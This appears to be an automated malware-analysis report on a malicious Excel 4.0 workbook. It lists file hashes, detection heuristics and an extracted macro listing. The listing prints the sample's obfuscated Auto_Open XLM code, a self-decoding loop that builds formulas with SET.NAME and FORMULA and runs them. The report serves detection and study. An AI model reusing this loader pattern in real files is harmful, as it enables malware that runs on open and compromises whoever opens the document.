Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d682d1eed643e54c…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:42:29 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: b52bae4fb2250e6f78d2e2a668eb57bd SHA-1: 7585cb22c78a6101a335860cf7f225528a1ab7e4 SHA-256: d682d1eed643e54c8a9db957ae46e2b818097dca1bd443cf1a3197acdf818a98
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6645 bytes
SHA-256: c7696e47ec0a9e5e167d4c0ca698a514ba74d3d972de0c813900af7f96e3a8e5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VNxbjNXc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H148 
' 0018     21 LABEL : Cell Value, String Constant - BSiEqB len=0 
' 0018     23 LABEL : Cell Value, String Constant - CXpxnALm len=0 
' 0018     26 LABEL : Cell Value, String Constant - eJZMwkumnlK len=0 
' 0018     21 LABEL : Cell Value, String Constant - hnXIgJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - HQsVdeLK len=0 
' 0018     27 LABEL : Cell Value, String Constant - kFgdApNukpUb len=0 
' 0018     22 LABEL : Cell Value, String Constant - lJfugCI len=0 
' 0018     25 LABEL : Cell Value, String Constant - nHAJukCdVs len=0 
' 0018     21 LABEL : Cell Value, String Constant - nNSrxZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - ocGfIvY len=0 
' 0018     24 LABEL : Cell Value, String Constant - OOTuLuXDA len=0 
' 0018     27 LABEL : Cell Value, String Constant - OZGfuTfhbmKj len=0 
' 0018     25 LABEL : Cell Value, String Constant - qSQunMtWrs len=0 
' 0018     22 LABEL : Cell Value, String Constant - RIpWoUs len=0 
' 0018     23 LABEL : Cell Value, String Constant - SZAshZQy len=0 
' 0018     24 LABEL : Cell Value, String Constant - tSAXwETau len=0 
' 0018     26 LABEL : Cell Value, String Constant - uAGvBgVEqTE len=0 
' 0018     27 LABEL : Cell Value, String Constant - wJJbFvYjipAF len=0 
' 0018     21 LABEL : Cell Value, String Constant - WOsdPD len=0 
' 0018     25 LABEL : Cell Value, String Constant - xqUzyHAMKE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VNxbjNXc,H58,"SET.NAME("ocGfIvY",VALUE("0"))",""
'  VNxbjNXc,H61,"SET.NAME("nNSrxZ",ocGfIvY)",""
'  VNxbjNXc,H64,"SET.NAME("OOTuLuXDA",ocGfIvY)",""
'  VNxbjNXc,H67,"SET.NAME("nHAJukCdVs",COUNTA(HQsVdeLK))",""
'  VNxbjNXc,H69,"SET.NAME("SZAshZQy",COUNTA(tSAXwETau))",""
'  VNxbjNXc,H74,[],""
'  VNxbjNXc,H79,"SET.NAME("BSiEqB","")",""
'  VNxbjNXc,H81,"nNSrxZ",""
'  VNxbjNXc,H83,"SET.NAME("OZGfuTfhbmKj",HLOOKUP("*",HQsVdeLK,nNSrxZ,FALSE))",""
'  VNxbjNXc,H86,"uAGvBgVEqTE",""
'  VNxbjNXc,H88,"SET.NAME("hnXIgJ",ocGfIvY)",""
'  VNxbjNXc,H93,[],""
'  VNxbjNXc,H97,"hnXIgJ",""
'  VNxbjNXc,H102,"xqUzyHAMKE",""
'  VNxbjNXc,H104,"kFgdApNukpUb",""
'  VNxbjNXc,H106,"lJfugCI",""
'  VNxbjNXc,H110,"SET.NAME("CXpxnALm",VALUE(HLOOKUP("*",tSAXwETau,lJfugCI,FALSE)))",""
'  VNxbjNXc,H114,"qSQunMtWrs",""
'  VNxbjNXc,H119,"BSiEqB",""
'  VNxbjNXc,H122,"OOTuLuXDA",""
'  VNxbjNXc,H126,NEXT(),""
'  VNxbjNXc,H128,"WOsdPD",""
'  VNxbjNXc,H130,"SET.NAME("f",INT(T(FORMULA(T(BSiEqB)&"",""&T(WOsdPD)))))",""
'  VNxbjNXc,H135,"RIpWoUs",""
'  VNxbjNXc,H139,NEXT(),""
'  VNxbjNXc,H143,RETURN(),""
'  VNxbjNXc,H171,"SET.NAME("eJZMwkumnlK",H58)",""
'  VNxbjNXc,H175,"HQsVdeLK",""
'  VNxbjNXc,H180,"SET.NAME("tSAXwETau",R43C14)",""
'  VNxbjNXc,H182,"SET.NAME("RIpWoUs",190)",""
'  VNxbjNXc,H187,"SET.NAME("wJJbFvYjipAF",8)",""
'  VNxbjNXc,H189,eJZMwkumnlK(),""
'  VNxbjNXc,H190,HALT(),""

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